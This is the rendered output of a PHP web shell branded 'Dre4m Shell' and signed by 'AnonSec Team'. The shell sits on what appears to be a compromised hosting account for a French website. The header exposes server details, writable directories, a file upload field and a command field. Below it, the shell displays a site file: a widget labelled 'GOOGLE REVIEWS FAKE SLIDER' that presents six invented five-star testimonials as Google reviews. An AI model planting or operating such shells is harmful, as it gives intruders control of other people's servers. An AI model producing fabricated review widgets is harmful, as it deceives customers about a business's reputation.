ÿØÿàJFIF``ÿþxØ Dre4m Was Here
Dre4m Shell
Server IP : 109.234.164.53  /  Your IP : 216.73.216.110
Web Server : Apache
System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64
User : computer3 ( 1098)
PHP Version : 7.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/computer3/sophie-justin.fr/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/computer3/sophie-justin.fr/Avis_g_bottom.php
<!-- ====== GOOGLE REVIEWS FAKE SLIDER ====== -->
<div class="reviews-wrap">
  <div class="reviews-head">
    <h2>Avis Google</h2>
    <div class="reviews-note">5,0 ★★★★☆ (6 avis)</div>
  </div>

  <div class="reviews-slider" id="reviews-slider">
    <!-- Avis 1 -->
    <article class="review-card">
      <div class="review-top">
        <div class="review-avatar">M</div>
        <div>
          <div class="review-name">Marie Dupont</div>
          <div class="review-stars">★★★★★</div>
        </div>
        <div class="review-badge">Google</div>
      </div>
      <p class="review-text">Très bonne expérience, équipe réactive et professionnelle. Je recommande.</p>
      <div class="review-date">il y a 2 semaines</div>
    </article>

    <!-- Avis 2 -->
    <article class="review-card">
      <div class="review-top">
        <div class="review-avatar">J</div>
        <div>
          <div class="review-name">Jean-Pierre Martin</div>
          <div class="review-stars">★★★★★</div>
        </div>
        <div class="review-badge">Google</div>
      </div>
      <p class="review-text">On voit qu’ils connaissent le métier, bons conseils, très pragmatiques.</p>
      <div class="review-date">il y a 1 mois</div>
    </article>

    <!-- Avis 3 -->
    <article class="review-card">
      <div class="review-top">
        <div class="review-avatar">S</div>
        <div>
          <div class="review-name">Sophie R.</div>
          <div class="review-stars">★★★★★</div>
        </div>
        <div class="review-badge">Google</div>
      </div>
      <p class="review-text">Mise en place rapide, bon suivi, résultats concrets sur la partie commerciale.</p>
      <div class="review-date">il y a 1 mois</div>
    </article>

    <!-- Avis 4 -->
    <article class="review-card">
      <div class="review-top">
        <div class="review-avatar">T</div>
        <div>
          <div class="review-name">Thomas</div>
          <div class="review-stars">★★★★★</div>
        </div>
        <div class="review-badge">Google</div>
      </div>
      <p class="review-text">Travail sérieux, communication simple. Très bon rapport qualité/prix.</p>
      <div class="review-date">il y a 2 mois</div>
    </article>

    <!-- Avis 5 -->
    <article class="review-card">
      <div class="review-top">
        <div class="review-avatar">C</div>
        <div>
          <div class="review-name">Caroline</div>
          <div class="review-stars">★★★★★</div>
        </div>
        <div class="review-badge">Google</div>
      </div>
      <p class="review-text">Super accompagnement, ils ont pris le temps de comprendre notre activité.</p>
      <div class="review-date">il y a 3 mois</div>
    </article>

    <!-- Avis 6 -->
    <article class="review-card">
      <div class="review-top">
        <div class="review-avatar">L</div>
        <div>
          <div class="review-name">Laurent B.</div>
          <div class="review-stars">★★★★★</div>
        </div>
        <div class="review-badge">Google</div>
      </div>
      <p class="review-text">Parfait pour structurer le marketing touristique. Je repasserai par eux.</p>
      <div class="review-date">il y a 3 mois</div>
    </article>
  </div>

  <div class="reviews-nav">
    <button type="button" id="reviews-prev" aria-label="Avis précédents">‹</button>
    <button type="button" id="reviews-next" aria-label="Avis suivants">›</button>
  </div>
</div>

<style>
.reviews-wrap{
  max-width: 1100px;
  margin: 0 auto;
  background:#fff;
  border:1px solid #eee;
  border-radius:14px;
  padding:1.5rem 1.5rem 2.5rem;
  position:relative;
  overflow:hidden;
}
.reviews-head{
  display:flex;
  align-items:center;
  justify-content:space-between;
  gap:1rem;
  margin-bottom:1.25rem;
}
.reviews-head h2{
  font-size:1.5rem;
  margin:0;
}
.reviews-note{
  background:#f0f7ff;
  border:1px solid #d2e3ff;
  padding:.35rem .7rem;
  border-radius:999px;
  font-size:.85rem;
}
.reviews-slider{
  display:grid;
  grid-template-columns: repeat(6, minmax(0,1fr));
  gap:1.25rem;
  transition:transform .4s ease;
}
.review-card{
  background:#f9fafb;
  border:1px solid #edf0f3;
  border-radius:12px;
  padding:1rem 1.1rem 1rem;
  display:flex;
  flex-direction:column;
  gap:.65rem;
  min-width:0;
}
.review-top{
  display:flex;
  align-items:center;
  gap:.75rem;
}
.review-avatar{
  width:38px;
  height:38px;
  border-radius:50%;
  background:#2563eb;
  color:#fff;
  display:flex;
  align-items:center;
  justify-content:center;
  font-weight:600;
}
.review-name{font-weight:600;font-size:.95rem;}
.review-stars{color:#f59e0b;font-size:.8rem;line-height:1;}
.review-badge{
  margin-left:auto;
  font-size:.65rem;
  background:#fff;
  border:1px solid #e2e8f0;
  padding:.15rem .5rem;
  border-radius:999px;
}
.review-text{
  font-size:.85rem;
  line-height:1.4;
  margin:0;
}
.review-date{
  font-size:.7rem;
  color:#6b7280;
  margin-top:auto;
}
.reviews-nav{
  position:absolute;
  right:1rem;
  bottom:.75rem;
  display:flex;
  gap:.5rem;
}
.reviews-nav button{
  width:32px;
  height:32px;
  border-radius:50%;
  border:1px solid #d1d5db;
  background:#fff;
  cursor:pointer;
  font-size:1.1rem;
  line-height:1;
}
@media (max-width: 991px){
  .reviews-slider{gap:1rem;}
}
@media (max-width: 767px){
  .reviews-wrap{padding:1.25rem 1rem 2.25rem;}
  .reviews-head{flex-direction:column;align-items:flex-start;}
}
</style>

<script>
(function(){
  const slider = document.getElementById('reviews-slider');
  const prevBtn = document.getElementById('reviews-prev');
  const nextBtn = document.getElementById('reviews-next');

  // nb total d'avis
  const total = slider.children.length;

  // état
  let index = 0;

  // combien on affiche selon la largeur
  function visibleCount(){
    return window.innerWidth < 768 ? 1 : 2;
  }

  function update(){
    const perView = visibleCount();
    // nombre de "pages"
    const maxIndex = Math.ceil(total / perView) - 1;
    if(index < 0) index = maxIndex;
    if(index > maxIndex) index = 0;

    const percent = -(index * 100);
    // on translate par "page"
    slider.style.transform = `translateX(${percent}%)`;
    // on change le nombre de colonnes pour que la translation soit propre
    slider.style.gridTemplateColumns = `repeat(${total}, minmax(0,1fr))`;
  }

  nextBtn.addEventListener('click', function(){
    index++;
    update();
  });

  prevBtn.addEventListener('click', function(){
    index--;
    update();
  });

  // auto-slide optionnel (décommente si tu veux)
  // setInterval(function(){ index++; update(); }, 6000);

  window.addEventListener('resize', update);
  update();
})();
</script>
<!-- ====== /GOOGLE REVIEWS FAKE SLIDER ====== -->

Anon7 - 2022
AnonSec Team